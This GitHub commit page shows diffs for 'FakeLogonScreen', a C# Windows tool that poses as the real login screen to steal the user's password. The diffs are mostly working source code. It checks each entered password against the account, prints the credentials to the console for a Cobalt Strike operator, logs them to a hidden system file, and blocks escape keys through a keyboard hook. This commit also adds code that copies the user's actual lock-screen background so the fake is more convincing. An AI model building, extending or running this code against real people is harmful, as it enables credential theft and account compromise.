Skip to content

Commit

Permalink
Various improvements and a bugfix
Browse files Browse the repository at this point in the history
- Feature: Obtains current login screen instead of simply showing the default
- Feature: Minize all windows to hide tools with the 'Always On Top' setting
- Bugfix: Updated font of labels to Segoe UI Light (Issue #1)
  • Loading branch information
bitsadmin committed Feb 3, 2020
1 parent 6ee509a commit 4c9827c
Show file tree
Hide file tree
Showing 4 changed files with 102 additions and 23 deletions.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,9 @@ Binaries available from the [Releases](https://github.com/bitsadmin/fakelogonscr
# Features
- Primary display shows a Windows 10 login screen while additional screens turn black
- Validates entered password before closing the screen
- Username and passwords entered are stored in `%LOCALAPPDATA%\Microsoft\user.db`
- Username and passwords entered are outputted to console stored in `%LOCALAPPDATA%\Microsoft\user.db`
- Blocks many shortkeys to prevent circumventing the screen
- Minimizes all existing windows to avoid other windows staying on top

# Screenshot
![FakeLogonScreen demo in Cobalt Strike](https://raw.githubusercontent.com/bitsadmin/fakelogonscreen/master/demo.gif "FakeLogonScreen demo in Cobalt Strike")
Expand Down
6 changes: 3 additions & 3 deletions Source/LogonScreen.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

46 changes: 37 additions & 9 deletions Source/LogonScreen.cs
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,9 @@ private void mtbPassword_KeyUp(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
ValidateCredentials();

// Print to console
Console.WriteLine(((MaskedTextBox)sender).Text);
}

private void pbSubmit_Click(object sender, EventArgs e)
Expand All @@ -40,7 +43,6 @@ private void pbSubmit_Click(object sender, EventArgs e)
private void ValidateCredentials()
{
// Validate password
string error = string.Empty;
string password = mtbPassword.Text;
try
{
Expand All @@ -55,30 +57,37 @@ private void ValidateCredentials()
}
}
// Could happen in case for example the (local) user's password is empty
catch(Exception e)
catch (Exception e)
{
success = true;
error = string.Format("{0}\r\n", e.Message);
Console.WriteLine(e);
}

// Store username and password in %localappdata%\Microsoft\user.db
// Even if a wrong password is typed, it might be valuable
string path = string.Format(@"{0}\Microsoft\user.db", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
// Output result of logon screen
try
{
if (string.IsNullOrEmpty(password))
password = "[blank password]";

// Even if a wrong password is typed, it might be valuable
string line = string.Format("{0}: {1} --> {2}", this.Username, password, success ? "Correct" : "Wrong");
Console.WriteLine(line);

// Store username and password in %localappdata%\Microsoft\user.db
string path = string.Format(@"{0}\Microsoft\user.db", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
using (StreamWriter file = new StreamWriter(path, true))
{
file.WriteLine("{0}{1}: {2} --> {3}", error, this.Username, password, success ? "Correct" : "Wrong");
file.WriteLine(line);
}

// Hide file
File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);
Console.WriteLine("Output written to {0}", path);
}
catch (Exception e)
{
Console.WriteLine(e);
}
catch (Exception)
{ }

// Ask again if password is incorrect
if (!success)
Expand All @@ -93,6 +102,11 @@ private void ValidateCredentials()
// If correct password, save and close screen
else
{
// Show all windows again
IntPtr lHwnd = FindWindow("Shell_TrayWnd", null);
SendMessage(lHwnd, WM_COMMAND, (IntPtr)MIN_ALL_UNDO, IntPtr.Zero);

// Exit fake logon screen
Application.Exit();
}
}
Expand Down Expand Up @@ -150,12 +164,26 @@ private void Screen_Load(object sender, EventArgs e)
objKeyboardProcess = new LowLevelKeyboardProc(captureKey);
ptrHook = SetWindowsHookEx(13, objKeyboardProcess, GetModuleHandle(objCurrentModule.ModuleName), 0);

// Minimize all other windows
// Source: https://stackoverflow.com/a/785110
IntPtr lHwnd = FindWindow("Shell_TrayWnd", null);
SendMessage(lHwnd, WM_COMMAND, (IntPtr)MIN_ALL, IntPtr.Zero);

// Make this the active window
WindowState = FormWindowState.Minimized;
Show();
WindowState = FormWindowState.Maximized;
}

[DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", EntryPoint = "SendMessage", SetLastError = true)]
static extern IntPtr SendMessage(IntPtr hWnd, Int32 Msg, IntPtr wParam, IntPtr lParam);

const int WM_COMMAND = 0x111;
const int MIN_ALL = 419;
const int MIN_ALL_UNDO = 416;

/* Code to Disable WinKey, Alt+Tab, Ctrl+Esc Starts Here */

// Structure contain information about low-level keyboard input event
Expand Down
70 changes: 60 additions & 10 deletions Source/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,9 @@
using System.DirectoryServices.AccountManagement;
using System.Drawing;
using System.IO;
using Microsoft.Win32;
using System.Collections.Generic;
using System.Linq;

/*
Author: @bitsadmin
Expand All @@ -26,28 +29,75 @@ static void Main()
// Initialize new screen
LogonScreen s = new LogonScreen();

// Set background
string imagePath = @"C:\Windows\Web\Screen\img100.jpg";
if (File.Exists(imagePath))
s.BackgroundImage = Image.FromFile(imagePath);
else
s.BackColor = Color.FromArgb(0, 90, 158);

// Set username
s.Username = Environment.UserName;
s.Context = ContextType.Machine;
string SID = string.Empty;
try
{
UserPrincipal user = UserPrincipal.Current;
s.Username = user.SamAccountName;
s.DisplayName = user.DisplayName;
SID = user.Sid.Value;
s.Context = user.ContextType;
}
catch (Exception)
{ }
{
s.Username = Environment.UserName;
s.Context = ContextType.Machine;
}

// Set background
string imagePath = GetImagePath(SID) ?? @"C:\Windows\Web\Screen\img100.jpg";
if (File.Exists(imagePath))
s.BackgroundImage = Image.FromFile(imagePath);
else
s.BackColor = Color.FromArgb(0, 90, 158);

// Show
Application.Run(s);
}

static string GetImagePath(string SID)
{
string foundImage = null;

try
{
// Open registry, if path exists
string regPath = string.Format(@"SOFTWARE\Microsoft\Windows\CurrentVersion\SystemProtectedUserData\{0}\AnyoneRead\LockScreen", SID);
RegistryKey regLockScreen = Registry.LocalMachine.OpenSubKey(regPath);
if (regLockScreen == null)
return null;

// Obtain lock screen index
string imageOrder = (string)regLockScreen.GetValue(null);
int ord = (int)imageOrder[0];

// A = 65 < N = 78 < Z = 90
// Default image is used
if (ord > 78)
{
string webScreenPath = @"C:\Windows\Web\Screen";
List<string> webScreenFiles = new List<string>(Directory.GetFiles(webScreenPath, "img*"));
string image = string.Format("img{0}", ord + 10 + (90 - ord) * 2);
foundImage = (from name
in webScreenFiles
where name.StartsWith(string.Format(@"{0}\{1}", webScreenPath, image))
select name).SingleOrDefault();
}
// Custom image is used
else
{
string customImagePath = string.Format(@"{0}\Microsoft\Windows\SystemData\{1}\ReadOnly", Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), SID);
string customLockScreenPath = string.Format(@"{0}\LockScreen_{1}", customImagePath, imageOrder[0]);
foundImage = Directory.GetFiles(customLockScreenPath)[0];
}
}
catch(Exception e)
{
Console.WriteLine(e);
}

return foundImage;
}
}
}

0 comments on commit 4c9827c

Please sign in to comment.